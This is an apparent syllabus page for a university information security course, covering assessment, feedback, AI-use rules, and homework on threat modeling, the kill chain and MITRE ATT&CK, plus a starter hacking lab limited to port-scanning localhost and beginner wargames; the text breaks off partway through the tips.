&lt;p&gt;Eight security classes in Pasila. All classes require active participation. I have changed this course to contact (physically in the class) as requested in the feedback.&lt;/p&gt;
&lt;p&gt;Presentations are related to themes.&lt;/p&gt;
&lt;p&gt;There will likely be updates to the contents of the classes as the course advances.&lt;/p&gt;
&lt;p&gt;You can reserve a spot for your presentation as soon as on the second class.&lt;/p&gt;
&lt;h2 id=&quot;assessment&quot;&gt;Assessment &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/information-security/#assessment&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/information-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Active participation in classes&lt;/li&gt;
&lt;li&gt;Homework and cross evaluation (66%)&lt;/li&gt;
&lt;li&gt;Presentation (33%)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Evaluation of the course is based on totality of the work presented.&lt;/p&gt;
&lt;h2 id=&quot;previous-courses&quot;&gt;Previous courses &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/information-security/#previous-courses&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/information-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2025/information-security-ici002as2ae-3007-2025p1/&quot;&gt;Information Security ICI002AS2AE-3007 2025p1 early autumn&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2025/information-security-ici002as2ae-3004-2025p3/&quot;&gt;Information Security ICI002AS2AE-3004 - Early Spring 2025&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2024/information-security-2024p1-early-autumn-ici002as2ae-3005/&quot;&gt; Information Security - ICI002AS2AE-3005 - Early Autumn 2024&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2024/information-security-2024-spring/&quot;&gt;Information Security ICI002AS2AE-3002 2024 Spring&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2024/information-security-2024-spring/#comments&quot;&gt;Feedback&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2023/information-security-2023-autumn/&quot;&gt;Information Security ICI002AS2AE-3003&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2023/information-security-2023-autumn/#comments&quot;&gt;Feedback&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2023/information-security-2023/&quot;&gt;Information Security 2023 Spring&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2023/information-security-2023/#comments&quot;&gt;Feedback&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2021/data-security-2022p3-ict4tf022-3008/&quot;&gt;Data Security ICT4TF022-3008, 2022 early spring&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2021/data-security-2022p3-ict4tf022-3008/#comments&quot;&gt;Feedback&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2022/data-security-ict4tf022-3009/&quot;&gt;Data Security 2022 ict4tf022-3009, 2022 early autumn&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2022/data-security-ict4tf022-3009/#comments&quot;&gt;Feedback&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;feedback&quot;&gt;Feedback &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/information-security/#feedback&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/information-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Thanks already! Your feedback is very important to me. I will read it all (twice+) and make improvements. Please give your feedback to two channels.&lt;/p&gt;
&lt;h3 id=&quot;1-free-form-feedback-as-a-comment-on-this-page&quot;&gt;1) Free form feedback as a comment on this page &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/information-security/#1-free-form-feedback-as-a-comment-on-this-page&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/information-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/information-security/#comments&quot;&gt;Write your comment on this page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You can write what ever you want. No need to repeat the questions, but they are here to get you started.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Did you learn something? Do you now know something you did not know before the course? (Models, frameworks, ideas, tools?)&lt;/li&gt;
&lt;li&gt;Did you do something for the first time? (Broke passwords, broke into web service, create treath models, used password manager, encrypted messages? Used some technique or a tool for the first time?)&lt;/li&gt;
&lt;li&gt;Is this useful? Are these skills useful in companies?&lt;/li&gt;
&lt;li&gt;How did you like the presentations? Interesting subject? Did you like presenting? Useful information? Actionable?&lt;/li&gt;
&lt;li&gt;How did you like comments and feedback? Did you get answers to your questions? (from classmates, teacher; to your homework, presentations)&lt;/li&gt;
&lt;li&gt;Feelings: did you enjoy the course?&lt;/li&gt;
&lt;li&gt;How could I improve the course? (I can make almost any change here, if it&#39;s important)&lt;/li&gt;
&lt;li&gt;Would you recommend the course? Have you already recommended it? Who would benefit from the course (a colleague, a fellow student)?&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;2-numeric-feedback-to-haaga-helia-feedback-system-peppi&quot;&gt;2) Numeric feedback to Haaga-Helia feedback system (Peppi) &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/information-security/#2-numeric-feedback-to-haaga-helia-feedback-system-peppi&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/information-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://mynet.haaga-helia.fi&quot;&gt;Feedback in MyNet (Peppi)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;1-worst, 5-best&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Your active participation in studies&lt;/li&gt;
&lt;li&gt;Achieving the learning goals&lt;/li&gt;
&lt;li&gt;The study methods supported learning&lt;/li&gt;
&lt;li&gt;The study environment supported learning&lt;/li&gt;
&lt;li&gt;Benefits to your career&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Open, you can copy the same answer you gave earlier&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What promoted your learning?&lt;/li&gt;
&lt;li&gt;How would you develop the implementation / group of implementations further so that the learning goals could be achieved better?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Your overall assessment of the implementation, 1-worst, 5-best&lt;/p&gt;
&lt;p&gt;How likely would you recommend the course to your fellow students? 1-worst, 10-best.&lt;/p&gt;
&lt;p&gt;Thank you for your feedback, and thank you for our course!&lt;/p&gt;
&lt;p&gt;Optional: Keep up with Linux &amp;amp; security, &lt;a href=&quot;https://terokarvinen.com/newsletter/&quot;&gt;join Tero&#39;s list&lt;/a&gt;. (And get invitations to visitors on security)&lt;/p&gt;
&lt;p&gt;See you in my future courses!&lt;/p&gt;
&lt;h2 id=&quot;homework&quot;&gt;Homework &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/information-security/#homework&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/information-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Homeworks are done with a computer and reported at the same time. If some task does not require performing tests with a computer, it&#39;s specied writing.&lt;/p&gt;
&lt;p&gt;Each homework is returned&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;24 h before start of next lecture&lt;/li&gt;
&lt;li&gt;you can publish your homework report in any website you like&lt;/li&gt;
&lt;li&gt;return a link to Laksu&lt;/li&gt;
&lt;li&gt;cross-evaluate two other homeworks&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To save everyone&#39;s time, I will remove those from the course who don&#39;t return homework, or who don&#39;t cross evaluate class mates work.&lt;/p&gt;
&lt;p&gt;Github is a convenient place to publish your reports, others are Gitlab and Wordpress.com. I highly recommend publishing your work, it seems to help getting (better) job offers. But if you don&#39;t dare or want to publish, you can put your web page behind a password (e.g. in Wordpress.com, same password for all reports), and share this password with your group.&lt;/p&gt;
&lt;p&gt;AI and large language models (LLM): You can ask AI or LLM a question and use the answer as facts for your own answer, written in your own words. AI must be marked as a reference, with details such as prompt (and for advanced users system prompts, temperature, jailbreaks...). LLMs tend to hallucinate, so you should check answers from more reliable sources. It&#39;s not allowed to generate text with AI or similar technologies. For example, it&#39;s not allowed to generate essay answers or summaries with AI, LLM or similar technologies.&lt;/p&gt;
&lt;p&gt;The homeworks are official after they are given in the class. Don&#39;t start them before, because they might change.&lt;/p&gt;
&lt;h3 id=&quot;h0-hello-web&quot;&gt;h0 Hello, web! &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/information-security/#h0-hello-web&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/information-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;a) Publish a web page. Show that you can make headings (h1 #, h2 ##...), paragraphs (p, empty line), links (a http://example.com) and code style (code or pre, four spaces at start of line). Markdown recommended.&lt;/p&gt;
&lt;p&gt;Tips&lt;/p&gt;
&lt;p&gt;Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/create-a-web-page-using-github/&quot;&gt;Create a Web Page Using Github&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;h1-should-tero-wear-a-helmet&quot;&gt;h1 Should Tero wear a helmet? &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/information-security/#h1-should-tero-wear-a-helmet&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/information-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;x) Read / watch / listen and summarize (This subtask x does not require tests with a computer. Some bullets per article is enough for your summary, feel free to write more if you like. Add some question or idea of your own.)
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Threat modeling&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Braiterman et al 2020: &lt;a href=&quot;https://www.threatmodelingmanifesto.org/&quot;&gt;Threat modeling manifesto&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Shostack 2022: &lt;a href=&quot;https://www.youtube.com/playlist?list=PLCVhBqLDKoOOZqKt74QI4pbDUnXSQo0nf&quot;&gt;Welcome to the Worlds Shortest Threat Modeling Course&lt;/a&gt; (12 parts, about 15 min total, audio is enough for all except video 7 &quot;Data flow diagrams&quot;)&lt;/li&gt;
&lt;li&gt;OWASP CheatSheets Series Team 2021: &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Threat_Modeling_Cheat_Sheet.html&quot;&gt;Threat Modeling Cheat Sheet&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Infosec scene&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Any episode from &lt;a href=&quot;https://darknetdiaries.com/&quot;&gt;Darknet Diaries Podcast&lt;/a&gt;. (Try picking an episode that&#39;s different from everyone else, e.g. not the latest and not one that&#39;s prominently on the front page.)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) &lt;strong&gt;Security hygiene&lt;/strong&gt;. What basic security practices should everyone follow? Are there some security hygiene practicies that every company or average Joe should follow? (This subtask does not require tests with a computer. A bullet list is enough)&lt;/li&gt;
&lt;li&gt;b) &lt;strong&gt;Make-belief boogie-man&lt;/strong&gt; - a threat model for imaginary company.
&lt;ul&gt;
&lt;li&gt;This subtask does not require tests with a computer.&lt;/li&gt;
&lt;li&gt;Create an imaginary company and create threat model.&lt;/li&gt;
&lt;li&gt;Business requirements come from business, technical specialist help with tech. Inlude this in your narrative.&lt;/li&gt;
&lt;li&gt;Your analysis should cover all parts of the four question model (four key questions in Threat modeling manifesto)
&lt;ul&gt;
&lt;li&gt;(1) What are we working on?
&lt;ul&gt;
&lt;li&gt;Our assets
&lt;ul&gt;
&lt;li&gt;Priorization, key assets&lt;/li&gt;
&lt;li&gt;E.g. customer health data is a crown jevel, personel gaming server is probably not&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Security supports business&lt;/li&gt;
&lt;li&gt;Draw a diagram of the company systems&lt;/li&gt;
&lt;li&gt;Customer is the king
&lt;ul&gt;
&lt;li&gt;What do we have to do the serve the customer (to keep getting paid)&lt;/li&gt;
&lt;li&gt;How does customer see our systems? Touchpoints?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Write a description.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;(2) What can go wrong?
&lt;ul&gt;
&lt;li&gt;Apply one or more named models: Attack trees, STRIDE, CIA, ATT&amp;amp;CK...
&lt;ul&gt;
&lt;li&gt;Give some examples of identified risks - you don&#39;t need to find all risks or likely vulnerabilites, as there would be too many for this homework.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Priorize biggest risks
&lt;ul&gt;
&lt;li&gt;High expected value (or other very high risk)&lt;/li&gt;
&lt;li&gt;Expected value = probability * monetary value&lt;/li&gt;
&lt;li&gt;Expected value is a tool for discussion, it&#39;s not exact science as we have to guestimate the input numbers&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Are you targetted by specific threat actors? Are there actors that target your geographical or political area or industry?
&lt;ul&gt;
&lt;li&gt;Known TTPs? (tactics, techniques, procedures)&lt;/li&gt;
&lt;li&gt;COI - Capability, Opportunity, Intent&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Business continuity
&lt;ul&gt;
&lt;li&gt;We have to keep serving the customer to receive money.&lt;/li&gt;
&lt;li&gt;Stakeholders (customer, employees...) trust us. Trust is hard to get and easy to lose.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;(3) What are we going to do about it?
&lt;ul&gt;
&lt;li&gt;Can you: reduce attack surface, limit entry points...&lt;/li&gt;
&lt;li&gt;META: Mitigage, Eliminate, Transfer, Accept.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;(4) Did we do a good enough job?
&lt;ul&gt;
&lt;li&gt;Security audits, pentests, assesments, continous threat modeling and evaluation&lt;/li&gt;
&lt;li&gt;Process, not a one time job. It never ends.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tips:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reading is for you.
&lt;ul&gt;
&lt;li&gt;Read the articles.
&lt;ul&gt;
&lt;li&gt;You learn the subject matter required to
&lt;ul&gt;
&lt;li&gt;complete the tasks&lt;/li&gt;
&lt;li&gt;understand how the tasks are related to the field of infosec&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;You learn the channels to follow the scene after the course&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Don&#39;t generate content with AI. Not understanding the arcticle will make it harder and harder to succeed in the future. Generating a lot of useless AI spam for classmates to read is disrespectful of their time.&lt;/li&gt;
&lt;li&gt;You can answer with just a few bullets.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Refer to sources
&lt;ul&gt;
&lt;li&gt;Any book, page, video, man-page, report you use for home work task should be listed as a source.&lt;/li&gt;
&lt;li&gt;This task page is of course one source for the report: Karvinen 2024: Information Security Course, https://terokarvinen.com/information-security/&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Work on your own level
&lt;ul&gt;
&lt;li&gt;If you have background in security and IT, feel free to challenge yourself.&lt;/li&gt;
&lt;li&gt;If you&#39;re just starting, just fumble around - bravely try the models. We will not implement your plan, nothing will happen in real life even if your threat model is not perfect.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Security hygiene
&lt;ul&gt;
&lt;li&gt;No brainer: Wouldn&#39;t it be great if you could just recommend some practices - even before conducting laboursome threat modeling?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Threat modeling
&lt;ul&gt;
&lt;li&gt;Think about the moment when you&#39;re using this in real life. You sit down on a table. You identify risks and choose how to use your limited resources. You colleagues will trust you can keep company systems safe and running.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Darknet Diaries
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://f-droid.org/en/packages/de.danoeh.antennapod/&quot;&gt;AntennaPod&lt;/a&gt; is convenient Android program for listening podcasts. It&#39;s available in &lt;a href=&quot;https://f-droid.org/en/packages/de.danoeh.antennapod/&quot;&gt;F-Droid&lt;/a&gt; and Google Play. Of course, there are hundreds if not thousands other programs for podcasts, too.&lt;/li&gt;
&lt;li&gt;Pick any episode. Check descriptions, and pick one that&#39;s likely to be suitable here. It&#39;s recommended to pick other than the latest or the one on top of the homepage, so we can look at different episodes.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;When cross evaluating
&lt;ul&gt;
&lt;li&gt;Give comments&lt;/li&gt;
&lt;li&gt;Use the whole scale (5 is every non-voluntary task solved and reported clearly)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h2-kill-chain&quot;&gt;h2 Kill Chain &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/information-security/#h2-kill-chain&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/information-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;We&#39;ll start zooming in from threat modeling (&quot;what &amp;amp; why&quot;) to cyber kill chain (&quot;how&quot;).&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Read and summarize. (This subtask x does not require tests with a computer. Some bullets per article is enough for your summary - no extended essays. Add a bullet for your own question or insight)
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf&quot;&gt;Hutchins et al 2011: Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains&lt;/a&gt;, chapters Abstract, 3.2 Intrusion Kill Chain.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) &lt;strong&gt;Tactics, tools and procedures&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;This subtask x does not require tests with a computer&lt;/li&gt;
&lt;li&gt;Briefly look at &lt;a href=&quot;https://attack.mitre.org/&quot;&gt;MITRE ATT&amp;amp;CK Matrix for Enterprise&lt;/a&gt;. You don&#39;t need to read it completely, as it&#39;s quite large.&lt;/li&gt;
&lt;li&gt;Read the &quot;General&quot; part of the &lt;a href=&quot;https://attack.mitre.org/resources/faq/#general-faq&quot;&gt;FAQ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Answer in the context of &lt;a href=&quot;https://attack.mitre.org/&quot;&gt;MITRE ATT&amp;amp;CK&lt;/a&gt;, and pick examples that are different from the chapter in task x.
&lt;ul&gt;
&lt;li&gt;Define &lt;strong&gt;tactic&lt;/strong&gt; and give an example of a specific tactic.&lt;/li&gt;
&lt;li&gt;Define &lt;strong&gt;technique&lt;/strong&gt; and &lt;strong&gt;subtechnique&lt;/strong&gt;, and give an example of each.&lt;/li&gt;
&lt;li&gt;Define &lt;strong&gt;procedure&lt;/strong&gt;, and give an example of each.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;b) Download Linux image on your laptop&#39;s hard drive, so that you have it ready for the next class. &lt;a href=&quot;https://cdimage.debian.org/debian-cd/current-live/amd64/iso-hybrid/debian-live-13.3.0-amd64-xfce.iso&quot;&gt;debian-live-13*-amd64-xfce.iso&lt;/a&gt;. (You don&#39;t need to install it yet. Next week, we&#39;ll &lt;a href=&quot;https://terokarvinen.com/2021/install-debian-on-virtualbox/&quot;&gt;Install Debian Linux on Virtualbox&lt;/a&gt;.)&lt;/li&gt;
&lt;li&gt;c) Voluntary bonus: &lt;strong&gt;Attack story&lt;/strong&gt; Write a story of an attack. Use ATT&amp;amp;CK vocabulary; number tactics, techniques and procedures. Also name defensive actions. You can decide how far the attack goes and if it&#39;s stopped.&lt;/li&gt;
&lt;li&gt;d) Voluntary bonus: Install Linux on a virtual machine. See tutorials &lt;a href=&quot;https://terokarvinen.com/install-debian-on-virt-manager/&quot;&gt;1&lt;/a&gt;, &lt;a href=&quot;https://terokarvinen.com/2021/install-debian-on-virtualbox/&quot;&gt;2&lt;/a&gt;, &lt;a href=&quot;https://github.com/johannaheinonen/johanna-test-repo/blob/main/linux-20082025.md&quot;&gt;3&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tips&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In &quot;Read and summarize&quot;:
&lt;ul&gt;
&lt;li&gt;read first, then summarize&lt;/li&gt;
&lt;li&gt;summarize key content
&lt;ul&gt;
&lt;li&gt;not just headings&lt;/li&gt;
&lt;li&gt;don&#39;t just describe the article, tell the main things it says&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;add a question, an idea or a comment of your own to each article&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Refer &amp;amp; link any sources you use
&lt;ul&gt;
&lt;li&gt;Course / the classes&lt;/li&gt;
&lt;li&gt;Homework task page&lt;/li&gt;
&lt;li&gt;Homework reports by other students&lt;/li&gt;
&lt;li&gt;Any web pages&lt;/li&gt;
&lt;li&gt;Manuals, Articles, Man pages...&lt;/li&gt;
&lt;li&gt;Referencing your sources is required&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h3-hello-lab&quot;&gt;h3 Hello Lab &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/information-security/#h3-hello-lab&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/information-security/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;This week, you start building your own hacking lab. You learn hacking by hacking.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Read/watch/listen and summarize (This subtask x does not require tests with a computer. Some bullets per article is enough for your summary, feel free to write more if you like. Add a bullet for your own idea or question.)
&lt;ul&gt;
&lt;li&gt;Karvinen 2021: &lt;a href=&quot;https://terokarvinen.com/2021/install-debian-on-virtualbox/&quot;&gt;Install Debian on Virtualbox - Updated 2024&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Karvinen 2020: &lt;a href=&quot;https://terokarvinen.com/2020/command-line-basics-revisited/&quot;&gt;Command Line Basics Revisited&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Can&#39;t fish. Disable networking and show that packets don&#39;t go trough. For example, use &#39;ping 1.1.1.1&#39; (Cloudfare DNS server) or &#39;ping 8.8.8.8&#39; (Google DNS server). Do this task on your Linux.&lt;/li&gt;
&lt;li&gt;b) Local only. Portscan your own computer using &quot;localhost&quot; address. It&#39;s illegal to portscan computers you don&#39;t own. Disconnect computer from the Internet while testing. Analyze your results. Do this task on your Linux.&lt;/li&gt;
&lt;li&gt;c) Daemon scan. Install a daemon (a server application) and port scan again. For example, you could install Apache web server or OpenSSH secure remote shell. Analyze the differences to scan without the daemon. Do this task on your Linux.&lt;/li&gt;
&lt;li&gt;d) Bandit oh-five. Solve &lt;a href=&quot;https://overthewire.org/wargames/bandit/&quot;&gt;Over The Wire: Bandit&lt;/a&gt; the first five levels (0-4). (Alternative task: you can instead do and report five harder levels if your Linux background makes this an easy task).&lt;/li&gt;
&lt;li&gt;e) Voluntary bonus task: &lt;a href=&quot;https://underthewire.tech/wargames&quot;&gt;Underthewire&lt;/a&gt;: &lt;a href=&quot;https://underthewire.tech/century&quot;&gt;Century&lt;/a&gt;, a couple of levels. I have not tried this one myself, so also interested to hear your views. Inspired by OverTheWire, but for Windows Powershell.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tips&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If you get stuck &lt;span id=&quot;stuck&quot;&gt;&lt;/span&gt;
&lt;ul&gt;
&lt;li&gt;Don&#39;t worry: Computers are cranky, that&#39;s why they pay hackers well&lt;/li&gt;
&lt;li&gt;Solve and report all parts you can do&lt;/li&gt;
&lt;li&gt;Return your partial report in time&lt;/li&gt;
&lt;li&gt;Google/Duck. That&#39;s what the pros do, too. Write down a reference to the sources you used.&lt;/li&gt;
&lt;li&gt;If you need to look at a walktrough (an exact solution to this homework, task or flag), clearly mark where you needed it.&lt;/li&gt;
&lt;li&gt;Solve the trouble part as far as you can. Report all approaches taken.&lt;/li&gt;
&lt;li&gt;Ask about the challenges in the class, likely someone else had the same thing&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;For x - &quot;Read and summarize&quot;:
&lt;ul&gt;
&lt;li&gt;Just some bullets per article is enough.&lt;/li&gt;
&lt;li&gt;I want to you understand the content.&lt;/li&gt;
&lt;li&gt;Also learn about channels/books/blogs/articles to follow to keep up with infosec after the course&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Can&#39;t fish
&lt;ul&gt;
&lt;li&gt;Also test commands when Internet is connected. This way, you show that the command is correctly testing the network.&lt;/li&gt;
&lt;li&gt;You can kill &#39;ping&#39; with ctrl-C&lt;/li&gt;
&lt;li&gt;Explain what each part of command does&lt;/li&gt;
&lt;li&gt;Explain how the result shows that network is disabled.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Port scanning
&lt;ul&gt;
&lt;li&gt;&#39;sudo nmap -A localhost&#39; # port scans 1000 most common TCP ports, -A does banner grabbing, scripts...&lt;/li&gt;
&lt;li&gt;Analyzing means you explain the meaning of each little part of each command and output; then give clear conclusion; optionally end with an ELI5 (explain like I&#39;m five years old).&lt;/li&gt;
&lt;li&gt;Only port scan localhost.&lt;/li&gt;
&lt;li&gt;Disconnect computer from the Interet when port scanning.&lt;/li&gt;
&lt;li&gt;Finland even has our highest court case where a minor (17 years old) was punished for port scanning. Court case took years, 1998-2003. &lt;a href=&quot;https://finlex.fi/fi/oikeus/kko/kko/2003/20030036&quot;&gt;KKO:2003:36&lt;/a&gt;. It&#39;s in Finnish, but Firefox has offline machine translation from Finnish to English.&lt;/li&gt;
&lt;li&gt;You can install nmap with apt-get.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Daemon
&lt;ul&gt;
&lt;li&gt;&#39;sudo apt-get update&#39;&lt;/li&gt;
&lt;li&gt;&#39;sudo apt-get -y install apache2&#39; # you could also install &quot;ssh&quot;&lt;/li&gt;
&lt;li&gt;&#39;sudo systemctl start apache2&#39; # you can use start, stop, restart, status. You can control any daemon, like &quot;ssh&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;OverTheWire
&lt;ul&gt;
&lt;li&gt;Some tasks list useful commands. You can see more info on each command with &#39;man&#39;, for example &#39;man find&#39;.&lt;/li&gt;
&lt;li&gt;If you get completely stuck, and can&#39;t advance even after reading the friendly manual and trying (and documenting) multiple approaches, solutions are easy to find on the net. If you need to use a walktrough, remember to mark it as a reference.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;UnderTheWire
&lt;ul&gt;
&lt;li&gt;ssh century1@century.underthewire.tech&lt;/li&gt;
